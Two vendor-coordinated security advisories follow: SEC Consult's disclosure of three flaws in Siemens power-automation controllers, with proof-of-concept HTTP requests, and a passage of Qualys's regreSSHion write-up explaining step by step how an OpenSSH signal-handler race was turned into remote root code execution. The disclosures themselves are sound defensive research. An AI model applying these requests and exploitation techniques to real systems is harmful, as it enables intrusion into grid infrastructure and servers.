<pre><code>SEC Consult Vulnerability Lab Security Advisory < 20240626-0 > ======================================================================= title: Multiple Vulnerabilities in Power Automation Products product: Siemens CP-8000/CP-8021/CP8-022/CP-8031/CP-8050/SICORE vulnerable version: CPC80 < V16.41 / CPCI85 < V5.30 / OPUPI0 < V5.30 / SICORE < V1.3.0 / CPCX26 < V06.02 for CP-2016 and PCCX26 < V06.05 for CP-2019 in SICAM AK3 / ETA4 < V10.46 and ETA5 < V03.27 for SM-2558 ins SICAM AK3, SICAM BC and SICAM TM fixed version: CPC80 V16.41 / CPCI85 V5.30 / OPUPI V5.30 / SICORE V1.3.0 / CPCX26 V06.02 / PCCX26 V06.05 / ETA4 V10.46 / ETA5 V03.27 CVE number: CVE-2024-31484, CVE-2024-31485, CVE-2024-31486 impact: high homepage: https://www.siemens.com/global/en/products/energy/energy-automation-and-smart-grid.html found: 2023-04-03 and 2024-01-12 by: Stefan Viehboeck (Office Vienna) Steffen Robertz (Office Vienna) Gerhard Hechenberger (Office Vienna) Constantin Schieber-Knoebl (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "We are a technology company focused on industry, infrastructure, transport, and healthcare. From more resource-efficient factories, resilient supply chains, and smarter buildings and grids, to cleaner and more comfortable transportation as well as advanced healthcare, we create technology with purpose adding real value for customers." Source: https://new.siemens.com/global/en/company/about.html Business recommendation: ------------------------ The vendor provides a patch which should be installed immediately. SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues. Vulnerability overview/description: ----------------------------------- 1) Buffer Overread (Only CP-8000/CP-8021/CP-8022/CP-8031/CP-8050/CPCX26/PCCX26/ETA4/ETA5, CVE-2024-31484) The webserver running on the CP-8050 and CP-8031 is vulnerable to a buffer overread vulnerability. The value of the HTTP header "Session-ID" is processed and used in a "strncpy" call without proper termination. Thus, data structures from the BSS segment will be leaked in the response. Attackers might be able to read sensitive data from memory. 2) Privilege Escalation (Only CP-8031/CP-8050 and SICORE devices, CVE-2024-31485) An attacker with an account with the viewer (or higher) role can intercept unencrypted traffic of other users of the web interface. Thus, the attacker can intercept higher privileged user accounts and passwords and might gain access to their accounts to perform tasks with elevated privileges. 3) Unsafe Storage of MQTT Client Passwords (Only CP-8031/CP-8050, CVE-2024-31486) A PLC with the OPUPI0 MQTT application installed is able to connect to an MQTT server. The configured MQTT password for the server is stored in cleartext on the device and can be read by exploiting a potential code execution or file disclosure vulnerability or with physical access to the device. Proof of concept: ----------------- 1) Buffer Overread (Only CP-8000/CP-8021/CP-8022/CP-8031/CP-8050/CPCX26/PCCX26/ETA4/ETA5, CVE-2024-31484) The buffer overread can be triggered by sending a "Session-ID" in the HTTP request header with exactly 20 bytes. This can be done with e.g. this request: POST /SICAM_TOOLBOX_1703_remote_connection_00.htm HTTP/1.1 User-Agent: SICAM TOOLBOX II Version: 1 Session-ID: 3814280BA9921c6cAAAA Sequence-ID: 1 Content-Length: 8 Content-Type: text/plain KeepAlive: 5 Connection: close type=3 The server answers with following response: HTTP/1.1 200 OK Server: SICAM 1703 Version: 1 Session-ID: 3814280BA9921c6cAAAAæk¤ Cache-Control: max-age=0, private X-Frame-Options: sameorigin Strict-Transport-Security: max-age=31536000; includeSubdomains Content-Security-Policy: default-src 'self' data: blob: 'unsafe-inline' 'unsafe-eval' X-XSS-Protection: 1; mode=block X-Permitted-Cross-Domain-Policies: none Content-Length: 71 Connection: close Date: Wed, 30 Mar 2022 01:38:37 GMT Sequence-ID: 1 Content-Type: text/plain Content-Length: 8 type=4 The Session-ID in the response leaks at least 4 additional bytes. Further, the structure of the response is broken, as some HTTP headers are suddenly part of the body. The vulnerability most likely stems from a misuse of the strncpy function. The following code segment was analyzed (RTUM85.elf, Offset 0x1d50de): ptr_fcgi_header = get_fcgi_param(fcgi_struct, "HTTP_SESSION_ID); if (ptr_fcgi_header == (char*) 0x00) goto LAB_001d4a66; if ( is_a_session_available == 0 ) { strncpy(&session_id, ptr_fcgi_header, 0x14); } strncpy is called with a length parameter of 0x14. To trigger the vulnerability, we are sending exactly 0x14 bytes. Thus, we believe that the global session_id variable is never properly terminated with a Null-pointer. libc's documentation even contains a warning for this case: "If there is no null byte among the first n bytes of src, the string placed in dest will not be null-terminated." Thus, if the response is built, every data structure in BSS following the session_id global will be printed as string until a Null byte is encountered. 2) Privilege Escalation (Only CP-8031/CP-8050 and SICORE devices, CVE-2024-31485) An attacker with an account with the viewer (or higher) role can intercept unencrypted traffic of other users of the web interface. Thus, the attacker can intercept higher privileged user accounts and passwords. By starting the Ethernet Packet Capture (Home -> Monitoring & Simulation -> Ethernet Packet Capture), a request is sent. This request can be modified by an interceptor proxy (e.g. Burp Suite). POST /sicweb-ajax/rtum85/cview HTTP/1.1 Host: HOST User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/xml SICWEB-SID: xNG1v825qFmCMo8hpjfISlVARKipW1B+lz9d5FoBxipR87VT Content-Length: 198 Origin: http:// HOST Connection: close Referer: http:// HOST/ <?xml version="1.0" encoding="UTF-8"?> <Cmd_SetCustomViewValue><view id="packet_capture"><parameter id="p0"> <value>lo</value> </parameter></view></Cmd_SetCustomViewValue> The attacker can then send the parameter id p0 to the value "lo" and start the packet capture in order to dump from the loopback interface. It is a valid interface, as it only consist of lowercase characters and numbers (fix for CVE-2023-33919). However, the webserver implements TLS in a stunnel fashion. It accepts all TLS traffic on port 443, then decrypts it and forwards it via loopback interface to port 80. By being able to read the loopback traffic, an attacker can now see all communication, including passwords of higher privileged users. 3) Unsafe Storage of MQTT Passwords (Only CP-8031/CP-8050, CVE-2024-31486) To demonstrate the issue, the following parameters were set for the MQTT client using the Siemens Toolbox II: * "8 MQTT password" mqtt_pw_sectest * "9 MQTT username" mqtt_sectest The password (together with the username) can be located in the /ies/data/local/system/iescfg.iar file on the device, which can be retrieved by shell access/code execution on the device or by desoldering and reading its unencrypted flash memory chip: ----------------------------------------------------------------------- grep -rain "mqtt_pw_sectest" /ies/data/local/system/iescfg.iar [...] mqtt mqtt_sectest. mqtt_pw_sectest. < �MQTT_Broker [...] ----------------------------------------------------------------------- Vulnerable / tested versions: ----------------------------- The following version has been tested which was the latest version available at the time of the test: Vulnerability 1 and 2 were confirmed on Siemens SICAM A8000 CP-8031 V05.12 Vulnerability 3 was confirmed on Siemens A8000 CP-8050 V04.92 Vendor contact timeline: ------------------------ 2023-04-18: Contacting vendor through productcert@siemens.com for vulnerability 3 2023-04-19: Advisory will be handled as case #92461. 2023-06-13: Siemens releases advisory for other vulnerabilities, see https://sec-consult.com/vulnerability-lab/advisory/multiple-vulnerabilities-siemens-a8000/ 2023-10-09: Requesting status update 2024-04-03: Requesting status update. 2024-04-04: Unsafe Storage of MQTT password: fix will be released in April 2024, Siemens advisory scheduled for May 2024 2024-04-11: Contacting vendor through productcert@siemens.com for Vulnerability 1 and 2 2024-04-12: Siemens assigned case #68662 for Vulnerability 1,2 2024-05-14: Siemens publishes SSA-871704 for vulnerability 1,2,3 2024-06-11: Siemens publishes SSA-620338 for Vulnerability 1 2024-06-26: Public release of advisory Solution: --------- The vendor provides a patch which can be downloaded at the following URLs depending on the affected device: CPC80 Central Processing/Communication: The firmware CPC80 V16.41 is present within “CP-8000/CP-8021/CP-8022 Package” V16.41 https://support.industry.siemens.com/cs/ww/en/view/109812178/ CPCI85 Central Processing/Communication: The firmware CPCI85 V5.30 is present within "CP-8031/CP-8050 Package" V5.30 https://support.industry.siemens.com/cs/ww/en/view/109804985/ SICORE Base system: The firmware SICORE V1.3.0 is present within "SICAM 8 Software Solution Package" V5.30 https://support.industry.siemens.com/cs/ww/en/view/109818240/ OPUPI0 AMQP/MQTT: The firmware OPUPI0 V5.30 is present within "CP-8031/CP-8050 Package" V5.30 https://support.industry.siemens.com/cs/ww/en/view/109804985/ CPCX26 Central Processing/Communication: The firmware CPCX26 V06.02 is present within “SICAM RTUs AK3 Package” V06.02 https://support.industry.siemens.com/cs/ww/en/view/109813252/ PCCX26 Ax 1703 PE, Contr, Communication Element: The firmware PCCX26 V06.05 is present within “SICAM RTUs AK3 Package” V06.02 https://support.industry.siemens.com/cs/ww/en/view/109813252/ ETA4 Ethernet Interface IEC60870-5-104: The firmware ETA4 V10.46 is present within “SICAM RTUs AK3 Package” V06.02 https://support.industry.siemens.com/cs/ww/en/view/109813252/ ETA5 Ethernet Int. 1x100TX IEC61850 Ed.2: The firmware ETA5 V03.27 is present within “SICAM RTUs AK3 Package” V06.02 https://support.industry.siemens.com/cs/ww/en/view/109813252/ Additional information from the vendor can be found in their advisories: https://cert-portal.siemens.com/productcert/html/ssa-871704.html https://cert-portal.siemens.com/productcert/html/ssa-620338.html Workaround: ----------- Limit network and physical access to the PLC. Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Eviden business. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: https://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Stefan Viehboeck, Steffen Robertz, Gerhard Hechenberger, Constantin Schieber-Knoebl / @2024 </code></pre>

<pre><code> Qualys Security Advisory regreSSHion: RCE in OpenSSH's server, on glibc-based Linux systems (CVE-2024-6387) ======================================================================== Contents ======================================================================== Summary SSH-2.0-OpenSSH_3.4p1 Debian 1:3.4p1-1.woody.3 (Debian 3.0r6, from 2005) - Theory - Practice - Timing SSH-2.0-OpenSSH_4.2p1 Debian-7ubuntu3 (Ubuntu 6.06.1, from 2006) - Theory, take one - Theory, take two - Practice - Timing SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u2 (Debian 12.5.0, from 2024) - Theory - Practice - Timing Towards an amd64 exploit Patches and mitigation Acknowledgments Timeline ======================================================================== Summary ======================================================================== All it takes is a leap of faith -- The Interrupters, "Leap of Faith" Preliminary note: OpenSSH is one of the most secure software in the world; this vulnerability is one slip-up in an otherwise near-flawless implementation. Its defense-in-depth design and code are a model and an inspiration, and we thank OpenSSH's developers for their exemplary work. We discovered a vulnerability (a signal handler race condition) in OpenSSH's server (sshd): if a client does not authenticate within LoginGraceTime seconds (120 by default, 600 in old OpenSSH versions), then sshd's SIGALRM handler is called asynchronously, but this signal handler calls various functions that are not async-signal-safe (for example, syslog()). This race condition affects sshd in its default configuration. On investigation, we realized that this vulnerability is in fact a regression of CVE-2006-5051 ("Signal handler race condition in OpenSSH before 4.4 allows remote attackers to cause a denial of service (crash), and possibly execute arbitrary code"), which was reported in 2006 by Mark Dowd. This regression was introduced in October 2020 (OpenSSH 8.5p1) by commit 752250c ("revised log infrastructure for OpenSSH"), which accidentally removed an "#ifdef DO_LOG_SAFE_IN_SIGHAND" from sigdie(), a function that is directly called by sshd's SIGALRM handler. In other words: - OpenSSH < 4.4p1 is vulnerable to this signal handler race condition, if not backport-patched against CVE-2006-5051, or not patched against CVE-2008-4109, which was an incorrect fix for CVE-2006-5051; - 4.4p1 <= OpenSSH < 8.5p1 is not vulnerable to this signal handler race condition (because the "#ifdef DO_LOG_SAFE_IN_SIGHAND" that was added to sigdie() by the patch for CVE-2006-5051 transformed this unsafe function into a safe _exit(1) call); - 8.5p1 <= OpenSSH < 9.8p1 is vulnerable again to this signal handler race condition (because the "#ifdef DO_LOG_SAFE_IN_SIGHAND" was accidentally removed from sigdie()). This vulnerability is exploitable remotely on glibc-based Linux systems, where syslog() itself calls async-signal-unsafe functions (for example, malloc() and free()): an unauthenticated remote code execution as root, because it affects sshd's privileged code, which is not sandboxed and runs with full privileges. We have not investigated any other libc or operating system; but OpenBSD is notably not vulnerable, because its SIGALRM handler calls syslog_r(), an async-signal-safer version of syslog() that was invented by OpenBSD in 2001. To exploit this vulnerability remotely (to the best of our knowledge, CVE-2006-5051 has never been successfully exploited before), we drew inspiration from a visionary paper, "Delivering Signals for Fun and Profit", which was published in 2001 by Michal Zalewski: https://lcamtuf.coredump.cx/signals.txt Nevertheless, we immediately faced three major problems: - From a theoretical point of view, we must find a useful code path that, if interrupted at the right time by SIGALRM, leaves sshd in an inconsistent state, and we must then exploit this inconsistent state inside the SIGALRM handler. - From a practical point of view, we must find a way to reach this useful code path in sshd, and maximize our chances of interrupting it at the right time. - From a timing point of view, we must find a way to further increase our chances of interrupting this useful code path at the right time, remotely. To focus on these three problems without having to immediately fight against all the modern operating system protections (in particular, ASLR and NX), we decided to exploit old OpenSSH versions first, on i386, and then, based on this experience, recent versions: - First, "SSH-2.0-OpenSSH_3.4p1 Debian 1:3.4p1-1.woody.3", from "debian-30r6-dvd-i386-binary-1_NONUS.iso": this is the first Debian version that has privilege separation enabled by default and that is patched against all the critical vulnerabilities of that era (in particular, CVE-2003-0693 and CVE-2002-0640). To remotely exploit this version, we interrupt a call to free() with SIGALRM (inside sshd's public-key parsing code), leave the heap in an inconsistent state, and exploit this inconsistent state during another call to free(), inside the SIGALRM handler. In our experiments, it takes ~10,000 tries on average to win this race condition; i.e., with 10 connections (MaxStartups) accepted per 600 seconds (LoginGraceTime), it takes ~1 week on average to obtain a remote root shell. - Second, "SSH-2.0-OpenSSH_4.2p1 Debian-7ubuntu3", from "ubuntu-6.06.1-server-i386.iso": this is the last Ubuntu version that is still vulnerable to CVE-2006-5051 ("Signal handler race condition in OpenSSH before 4.4"). To remotely exploit this version, we interrupt a call to pam_start() with SIGALRM, leave one of PAM's structures in an inconsistent state, and exploit this inconsistent state during a call to pam_end(), inside the SIGALRM handler. In our experiments, it takes ~10,000 tries on average to win this race condition; i.e., with 10 connections (MaxStartups) accepted per 120 seconds (LoginGraceTime), it takes ~1-2 days on average to obtain a remote root shell. - Finally, "SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u2", from "debian-12.5.0-i386-DVD-1.iso": this is the current Debian stable version, and it is vulnerable to the regression of CVE-2006-5051. To remotely exploit this version, we interrupt a call to malloc() with SIGALRM (inside sshd's public-key parsing code), leave the heap in an inconsistent state, and exploit this inconsistent state during another call to malloc(), inside the SIGALRM handler (more precisely, inside syslog()). In our experiments, it takes ~10,000 tries on average to win this race condition, so ~3-4 hours with 100 connections (MaxStartups) accepted per 120 seconds (LoginGraceTime). Ultimately, it takes ~6-8 hours on average to obtain a remote root shell, because we can only guess the glibc's address correctly half of the time (because of ASLR). This research is still a work in progress: - we have targeted virtual machines only, not bare-metal servers, on a mostly stable network link (~10ms packet jitter); - we are convinced that various aspects of our exploits can be greatly improved; - we have started to work on an amd64 exploit, which is much harder because of the stronger ASLR. A few days after we started our work on amd64, we noticed the following bug report (in OpenSSH's public Bugzilla), about a deadlock in sshd's SIGALRM handler: https://bugzilla.mindrot.org/show_bug.cgi?id=3690 We therefore decided to contact OpenSSH's developers immediately (to let them know that this deadlock is caused by an exploitable vulnerability), we put our amd64 work on hold, and we started to write this advisory. ======================================================================== SSH-2.0-OpenSSH_3.4p1 Debian 1:3.4p1-1.woody.3 (Debian 3.0r6, from 2005) ======================================================================== ------------------------------------------------------------------------ Theory ------------------------------------------------------------------------ But that's not like me, I'm breaking free -- The Interrupters, "Haven't Seen the Last of Me" The SIGALRM handler of this OpenSSH version calls packet_close(), which calls buffer_free(), which calls xfree() and hence free(), which is not async-signal-safe: ------------------------------------------------------------------------ 302 grace_alarm_handler(int sig) 303 { ... 307 packet_close(); ------------------------------------------------------------------------ 329 packet_close(void) 330 { ... 341 buffer_free(&input); 342 buffer_free(&output); 343 buffer_free(&outgoing_packet); 344 buffer_free(&incoming_packet); ------------------------------------------------------------------------ 35 buffer_free(Buffer *buffer) 36 { 37 memset(buffer->buf, 0, buffer->alloc); 38 xfree(buffer->buf); 39 } ------------------------------------------------------------------------ 51 xfree(void *ptr) 52 { 53 if (ptr == NULL) 54 fatal("xfree: NULL pointer given as argument"); 55 free(ptr); 56 } ------------------------------------------------------------------------ Consequently, we started to read the malloc code of this Debian's glibc (2.2.5), to see if a first call to free() can be interrupted by SIGALRM and exploited during a second call to free() inside the SIGALRM handler (at lines 341-344, above). Because this glibc's malloc is not hardened against the unlink() technique pioneered by Solar Designer in 2000, we quickly spotted an interesting code path in chunk_free() (which is called internally by free()): ------------------------------------------------------------------------ 1028 struct malloc_chunk 1029 { 1030 INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ 1031 INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ 1032 struct malloc_chunk* fd; /* double links -- used only if free. */ 1033 struct malloc_chunk* bk; 1034 }; ------------------------------------------------------------------------ 2516 #define unlink(P, BK, FD) \ 2517 { \ 2518 BK = P->bk; \ 2519 FD = P->fd; \ 2520 FD->bk = BK; \ 2521 BK->fd = FD; \ 2522 } \ ------------------------------------------------------------------------ 3160 chunk_free(arena *ar_ptr, mchunkptr p) .... 3164 { 3165 INTERNAL_SIZE_T hd = p->size; /* its head field */ .... 3177 sz = hd & ~PREV_INUSE; 3178 next = chunk_at_offset(p, sz); 3179 nextsz = chunksize(next); .... 3230 if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */ 3231 { .... 3241 unlink(next, bck, fwd); .... 3244 } 3245 else 3246 set_head(next, nextsz); /* clear inuse bit */ .... 3251 frontlink(ar_ptr, p, sz, idx, bck, fwd); ------------------------------------------------------------------------ To exploit this code path, we arrange for sshd's heap to have the following layout (chunk_X, chunk_Y, and chunk_Z are malloc()ated chunks of memory, and p, s, f, b are their prev_size, size, fd, and bk fields): -----|---+---------------|---+---------------|---+---------------|----- ... |p|s|f|b| chunk_X |p|s|f|b| chunk_Y |p|s|f|b| chunk_Z | ... -----|---+---------------|---+---------------|---+---------------|----- |<------------->| user data - First, if a call to free(chunk_Y) is interrupted by SIGALRM *after* line 3246 but *before* line 3251, then chunk_Y is already marked as free (because chunk_Z's PREV_INUSE bit is cleared at line 3246) but it is not yet linked into its doubly-linked list (at line 3251): in other words, chunk_Y's fd and bk pointers still contain user data (attacker- controlled data). - Second, if (inside the SIGALRM handler) packet_close() calls free(chunk_X), then the code block at lines 3230-3244 is entered (because chunk_Y is marked as free) and chunk_Y is unlink()ed (at line 3241): a so-called aa4bmo primitive (almost arbitrary 4 bytes mirrored overwrite), because chunk_Y's fd and bk pointers are still attacker- controlled. For more information on the unlink() technique and the aa4bmo primitive: https://www.openwall.com/articles/JPEG-COM-Marker-Vulnerability#exploit http://phrack.org/issues/61/6.html#article - Last, with this aa4bmo primitive we overwrite the glibc's __free_hook function pointer (this old Debian version does not have ASLR, nor NX) with the address of our shellcode in the heap, thus achieving remote code execution during the next call to free() in packet_close(). ------------------------------------------------------------------------ Practice ------------------------------------------------------------------------ Now they're taking over and they got complete control -- The Interrupters, "Liberty" To mount this attack against sshd, we interrupt a call to free() inside sshd's parsing code of a DSA public key (i.e., line 144 below is our free(chunk_Y)) and exploit it during one of the free() calls in packet_close() (i.e., one of the lines 341-344 above is our free(chunk_X)): ------------------------------------------------------------------------ 136 buffer_get_bignum2(Buffer *buffer, BIGNUM *value) 137 { 138 u_int len; 139 u_char *bin = buffer_get_string(buffer, &len); ... 143 BN_bin2bn(bin, len, value); 144 xfree(bin); 145 } ------------------------------------------------------------------------ Initially, however, we were never able to win this race condition (i.e., interrupt the free() call at line 144 at the right time). Eventually, we realized that we could greatly improve our chances of winning this race: the DSA public-key parsing code allows us to call free() four times (at lines 704-707 below), and furthermore sshd allows us to attempt six user authentications (AUTH_FAIL_MAX); if any one of these 24 free() calls is interrupted at the right time, then we later achieve remote code execution inside the SIGALRM handler. ------------------------------------------------------------------------ 678 key_from_blob(u_char *blob, int blen) 679 { ... 693 switch (type) { ... 702 case KEY_DSA: 703 key = key_new(type); 704 buffer_get_bignum2(&b, key->dsa->p); 705 buffer_get_bignum2(&b, key->dsa->q); 706 buffer_get_bignum2(&b, key->dsa->g); 707 buffer_get_bignum2(&b, key->dsa->pub_key); ------------------------------------------------------------------------ With this improvement, we finally won the race condition after ~1 month: we were happy (and did a root-shell dance), but we also felt that there was still room for improvement. ------------------------------------------------------------------------ Timing ------------------------------------------------------------------------ Don't worry, just wait and see -- The Interrupters, "Haven't Seen the Last of Me" We therefore implemented the following threefold timing strategy: - We do not wait until the last moment to send our (rather large) DSA public-key packet to sshd: instead, we send the entire packet minus one byte (the last byte) long before the LoginGraceTime, and send the very last byte at the very last moment, to minimize the effects of network delays. (And we disable the Nagle algorithm.) - We keep track of the median round-trip time (by regularly sending packets that produce a response from sshd), and keep track of the difference between the moment we are expecting our connection to be closed by sshd (essentially the moment we receive the first byte of sshd's banner, plus LoginGraceTime) and the moment our connection is really closed by sshd, and accordingly adjust our timing (i.e., the moment when we send the last byte of our DSA packet). These time differences allow us to track clock skews and network delays, which show predictable patterns over time: we experimented with linear and spline regressions, but in the end, nothing worked better than simply re-using the most recent measurement. Possibly, deep learning might yield even better results; this is left as an exercise for the interested reader. - More importantly, we further increase our chances of winning this race condition by slowly adjusting our timing through involuntary feedback from sshd: - if we receive a response (SSH2_MSG_USERAUTH_FAILURE) to our DSA public-key packet, then we sent it too early (sshd had the time to receive our packet in the unprivileged child, parse it, send it to the privileged child, parse it there, and send a response all the way back to us); - if we cannot even send the last byte of our DSA packet, then we waited too long (sshd already received the SIGALRM and closed our connection); - if we can send the last byte of our DSA packet, and receive no response before sshd closes our connection, then our timing was reasonably accurate. This feedback allows us to target what we call the "large" race window: hitting it does not guarantee that we win the race condition, but inside this large window are the 24 "small" race windows (inside the 24 free() calls) that, if hit, guarantee that we do win the race condition. With these improvements, it takes ~10,000 tries on average to win this race condition; i.e., with 10 connections (MaxStartups) accepted per 600 seconds (LoginGraceTime), it takes ~1 week on average to obtain a remote root shell. ======================================================================== SSH-2.0-OpenSSH_4.2p1 Debian-7ubuntu3 (Ubuntu 6.06.1, from 2006) ======================================================================== ------------------------------------------------------------------------ Theory, take one ------------------------------------------------------------------------ I sleep when the sun starts to rise -- The Interrupters, "Alien" The SIGALRM handler of this OpenSSH version does not call packet_close() anymore; moreover, this Ubuntu's glibc (2.3.6) always takes a mandatory lock when entering the functions of the malloc family (even if single- threaded like sshd), which prevents us from interrupting a call to one of the malloc functions and later exploiting it during another call to these functions (they would always deadlock). We must find another solution. CVE-2006-5051 mentions a double-free in GSSAPI, but GSSAPI (or Kerberos) is not enabled by default, so this does not sound very appealing. On the other hand, PAM is enabled by default, and pam_end() is called by sshd's SIGALRM handler (and is, of course, not async-signal-safe). We therefore searched for a PAM function that, if interrupted by SIGALRM at the right time, would leave PAM's internal structures in an inconsistent state, exploitable during pam_end() in the SIGALRM handler. We found pam_set_data(): ------------------------------------------------------------------------ 33 int pam_set_data( 34 pam_handle_t *pamh, .. 37 void (*cleanup)(pam_handle_t *pamh, void *data, int error_status)) 38 { 39 struct pam_data *data_entry; .. 57 } else if ((data_entry = malloc(sizeof(*data_entry)))) { .. 65 data_entry->next = pamh->data; 66 pamh->data = data_entry; .. 74 data_entry->cleanup = cleanup; ------------------------------------------------------------------------ If this function is interrupted by SIGALRM *after* line 66 but *before* line 74, then data_entry is already linked into PAM's structures (pamh), but its cleanup field (a function pointer) is not yet initialized (since the malloc() at line 57 does not initialize its memory). If we are able to control cleanup (through leftovers from previous heap allocations), then we can execute arbitrary code when pam_end() (inside the SIGALRM handler) calls _pam_free_data() (at line 118): ------------------------------------------------------------------------ 104 void _pam_free_data(pam_handle_t *pamh, int status) 105 { 106 struct pam_data *last; 107 struct pam_data *data; ... 112 data = pamh->data; 113 114 while (data) { 115 last = data; 116 data = data->next; 117 if (last->cleanup) { 118 last->cleanup(pamh, last->data, status); ------------------------------------------------------------------------ This would have been an extremely simple exploit; unfortunately, we completely overlooked that pam_set_data() can only be called from PAM modules: if we interrupt it with SIGALRM, then pamh->caller_is is still _PAM_CALLED_FROM_MODULE, in which case pam_end() returns immediately, without ever calling _pam_free_data(). Back to the drawing board. ------------------------------------------------------------------------ Theory, take two ------------------------------------------------------------------------ Not giving up, it's not what we do -- The Interrupters, "Title Holder" We noticed that, at line 601 below, sshd passes a pointer to its global sshpam_handle pointer directly to pam_start() (which is called once per connection): ------------------------------------------------------------------------ 202 static pam_handle_t *sshpam_handle = NULL; ------------------------------------------------------------------------ 584 sshpam_init(Authctxt *authctxt) 585 { ... 600 sshpam_err = 601 pam_start(SSHD_PAM_SERVICE, user, &store_conv, &sshpam_handle); ------------------------------------------------------------------------ We therefore decided to look into pam_start() itself: if interrupted by SIGALRM, it might leave the structure pointed to by sshpam_handle in an inconsistent state, which could then be exploited inside the SIGALRM handler, when "pam_end(sshpam_handle, sshpam_err)" is called. ------------------------------------------------------------------------ 18 int pam_start ( .. 22 pam_handle_t **pamh) 23 { .. 32 if ((*pamh = calloc(1, sizeof(**pamh))) == NULL) { ... 110 if ( _pam_init_handlers(*pamh) != PAM_SUCCESS ) { ------------------------------------------------------------------------ 319 int _pam_init_handlers(pam_handle_t *pamh) 320 { ... 398 retval = _pam_parse_conf_file(pamh, f, pamh->service_name, PAM_T_ANY ------------------------------------------------------------------------ 66 static int _pam_parse_conf_file(pam_handle_t *pamh, FILE *f .. 73 { ... 252 res = _pam_add_handler(pamh, must_fail, other ------------------------------------------------------------------------ 581 int _pam_add_handler(pam_handle_t *pamh ... 585 { ... 755 the_handlers = (other) ? &pamh->handlers.other : &pamh->handlers.conf; ... 767 handler_p = &the_handlers->authenticate; ... 874 if ((*handler_p = malloc(sizeof(struct handler))) == NULL) { ... 886 (*handler_p)->next = NULL; ------------------------------------------------------------------------ At line 32, pam_start() immediately sets sshd's sshpam_handle to a calloc()ated chunk of memory; this is safe, because calloc() initializes this memory to zero. On the other hand, if _pam_add_handler() (which is called multiple times by pam_start()) is interrupted by SIGALRM *after* line 874 but *before* line 886, then a malloc()ated structure is linked into pamh, but its next field is not yet initialized. If we are able to control next (through leftovers from previous heap allocations), then we can pass an arbitrary pointer to free() during the call to pam_end() (inside the SIGALRM handler), at line 1020 (and line 1017) below: ------------------------------------------------------------------------ 11 int pam_end(pam_handle_t *pamh, int pam_status) 12 { .. 31 if ((ret = _pam_free_handlers(pamh)) != PAM_SUCCESS) { ------------------------------------------------------------------------ 925 int _pam_free_handlers(pam_handle_t *pamh) 926 { ... 954 _pam_free_handlers_aux(&(pamh->handlers.conf.authenticate)); ------------------------------------------------------------------------ 1009 void _pam_free_handlers_aux(struct handler **hp) 1010 { 1011 struct handler *h = *hp; 1012 struct handler *last; .... 1015 while (h) { 1016 last = h; 1017 _pam_drop(h->argv); /* This is all alocated in a single chunk */ 1018 h = h->next; 1019 memset(last, 0, sizeof(*last)); 1020 free(last); 1021 } ------------------------------------------------------------------------ Because the malloc of this Ubuntu's glibc is already hardened against the old unlink() technique, we decided to transform our arbitrary free() into the Malloc Maleficarum's House of Mind (fastbin version): we free() our own NON_MAIN_ARENA chunk, point our fake arena to sshd's .got.plt (this Ubuntu's sshd has ASLR but not PIE), and overwrite _exit()'s entry with the address of our shellcode in the heap (this Ubuntu's heap is still executable by default). For more information on the Malloc Maleficarum: https://seclists.org/bugtraq/2005/Oct/118 ------------------------------------------------------------------------ Practice ------------------------------------------------------------------------ I learned everything the hard way -- The Interrupters, "The Hard Way" To mount this attack against sshd, we initially faced three problems: - The House of Mind requires us to store the pointer to our fake arena at address 0x08100000 in the heap; but are we able to store attacker- controlled data at such a high address? Because sshd calls pam_start() at the very beginning of the user authentication, we do not control anything except the user name itself; luckily, a user name of length ~128KB (shorter than DEFAULT_MMAP_THRESHOLD) allows us to store our own data at address 0x08100000. - The size field of our fake NON_MAIN_ARENA chunk must not be too large (to pass free()'s security checks); i.e., it must contain null bytes. But our long user name is a null-terminated string that cannot contain null bytes; luckily we remembered that _pam_free_handlers_aux() zeroes the structures that it free()s (line 1019 above): we therefore "patch" the size field of our fake chunk with such a memset(0), and only then free() it. - We must survive several calls to free() (at lines 1017 and 1020 above) before the free() of our fake NON_MAIN_ARENA chunk. We transform these free()s into no-ops by pointing them to fake IS_MMAPPED chunks: free() calls munmap_chunk(), which calls munmap(), which fails because these fake IS_MMAPPED chunks are misaligned; effectively a no-op, because assert()ion failures are not enforced in this Ubuntu's glibc. Finally, our long user name also allows us to control the potentially uninitialized next field of 20 different structures (through leftovers from temporary copies of our long user name), because pam_start() calls _pam_add_handler() multiple times; i.e., our large race window contains 20 small race windows. ------------------------------------------------------------------------ Timing ------------------------------------------------------------------------ Same tricks they used before -- The Interrupters, "Divide Us" For this attack against Ubuntu 6.06.1, we simply re-used the timing strategy that we used against Debian 3.0r6: it takes ~10,000 tries on average to win the race condition, and with 10 connections (MaxStartups) accepted per 120 seconds (LoginGraceTime), it takes ~1-2 days on average to obtain a remote root shell. Note: because this Ubuntu's glibc always takes a mandatory lock when entering the functions of the malloc family, an 